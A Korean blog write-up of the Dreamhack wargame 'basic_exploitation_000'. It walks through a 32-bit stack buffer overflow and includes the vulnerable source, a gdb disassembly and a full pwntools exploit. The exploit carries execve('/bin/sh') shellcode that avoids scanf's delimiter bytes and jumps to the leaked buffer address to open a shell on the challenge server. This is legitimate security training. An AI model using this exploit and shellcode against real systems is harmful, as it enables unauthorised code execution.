basic_exploitation_000

2022. 7. 18. 17:05·Wargame/Dreamhack
728x90
반응형

서버에 접속해서 실제로 값을 넣어보면 접속 시마다 buf의 주소가 변경되는 것을 보아 ASLR 즉, 랜덤 스택 보호 기법이 걸려있음을 알 수 있다.

┌──(kali㉿kali)-[~/Downloads/1]
└─$ nc host3.dreamhack.games 13445
buf = (0xfff4d778)
a

┌──(kali㉿kali)-[~/Downloads/1]
└─$ nc host3.dreamhack.games 13445
buf = (0xffa4f748)
a

코드를 보면

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

이번에는 shell을 실행시켜주는 함수가 없으므로 입력 값에 shellcode가 포함되어있어야 하며, 다행히 buf의 주소는 출력해주니 이를 이용해서 buf의 주소로 return 하면 될 것으로 예상된다.

다만 유의해야하는 부분은 scanf로 문자열을 받아들일 때 입력 불가능한 문자가 있다는 점이다.

이유는 scanf의 문자열의 끝을 인식하는 문자 때문인데, \x09, \x0a, \x0b, \x0c, \x0d, \x20 가 해당된다.

이에 인터넷에서 scanf를 우회하는, 즉 위의 문자가 없는 shellcode를 찾아 사용하면 된다.

 

우선 buf 변수에 0x80 byte가 진짜로 할당되었는지, 해당 위치부터 데이터를 입력받는지 gdb로 확인해보면

gef➤  disas main
Dump of assembler code for function main:
   0x080485d9 <+0>:     push   ebp
   0x080485da <+1>:     mov    ebp,esp
   0x080485dc <+3>:     add    esp,0xffffff80
   0x080485df <+6>:     call   0x8048592 <initialize>
   0x080485e4 <+11>:    lea    eax,[ebp-0x80]
   0x080485e7 <+14>:    push   eax
   0x080485e8 <+15>:    push   0x8048699
   0x080485ed <+20>:    call   0x80483f0 <printf@plt>
   0x080485f2 <+25>:    add    esp,0x8
   0x080485f5 <+28>:    lea    eax,[ebp-0x80]
   0x080485f8 <+31>:    push   eax
   0x080485f9 <+32>:    push   0x80486a5
   0x080485fe <+37>:    call   0x8048460 <__isoc99_scanf@plt>
   0x08048603 <+42>:    add    esp,0x8
   0x08048606 <+45>:    mov    eax,0x0
   0x0804860b <+50>:    leave
   0x0804860c <+51>:    ret
End of assembler dump.

main + 28과 같이 0x80 위치에서 값을 입력받는 것을 알 수 있다.

그러므로 페이로드는

더미 0x80 + sfp 4 byte + ret 4byte

가 되며, ret address는 프로그램 실행 시 출력해주므로 이를 가져와서 사용하면 된다.

┌──(kali㉿kali)-[~/Downloads/1]
└─$ cat a.py
from pwn import *

totlen=132

pay = b''
pay += b'\x90'*40
pay += b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
pay += b'\x90'*(totlen-len(pay))

p=remote('host3.dreamhack.games',21329)
p.recv(9)
add = p.recv(8)
bufadd = p32(int(add,16))
pay += bufadd
p.recv(10)

print(pay)

p.send(pay)
p.interactive()

┌──(kali㉿kali)-[~/Downloads/1]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 21329: Done
b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc0Phn/shh//bi\x89\xe31\xc91\xd2\xb0\x08@@@\xcd\x80\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xf8\xe3\xf9\xff'
[*] Switching to interactive mode
$ cat flag
$ cat flag
DH{----------#플래그는 삭제}

 

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

ssp_001  (0) 2022.07.18
basic_exploitation_001  (0) 2022.07.18
Return Address Overwrite  (0) 2022.07.18
shell_basic  (0) 2022.07.17
[Lecture-System hacking] Quiz: x86 Assembly 1  (0) 2022.07.17
'Wargame/Dreamhack' 카테고리의 다른 글
  • ssp_001
  • basic_exploitation_001
  • Return Address Overwrite
  • shell_basic
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (521)
      • To do list (8) N
        • Doing (1)
        • Complete (7) N
      • Diary (35)
      • Tips & theory (75)
      • Kernel Exploit (28)
        • Theory (16)
        • Exercise (5)
      • File Structure (6)
      • Wargame (322)
        • pwn.college (34)
        • Dreamhack (156)
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (46)
        • Solved (44)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    _IO_FILE
    lob
    Buffer Overflow
    32bit
    exploit education
    tcache
    Me
    BOF
    FSB
    CANARY
    RTL
    root
    ROOT ME
    hackerschool
    root-me
    docker
    x86
    x64
    cryptohack
    pwntools
    heap
    dreamhack
    pwnable.kr
    libc
    phoenix
    Format String Bug
    rop
    la ctf
    vtable
    64bit
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
basic_exploitation_000
상단으로

티스토리툴바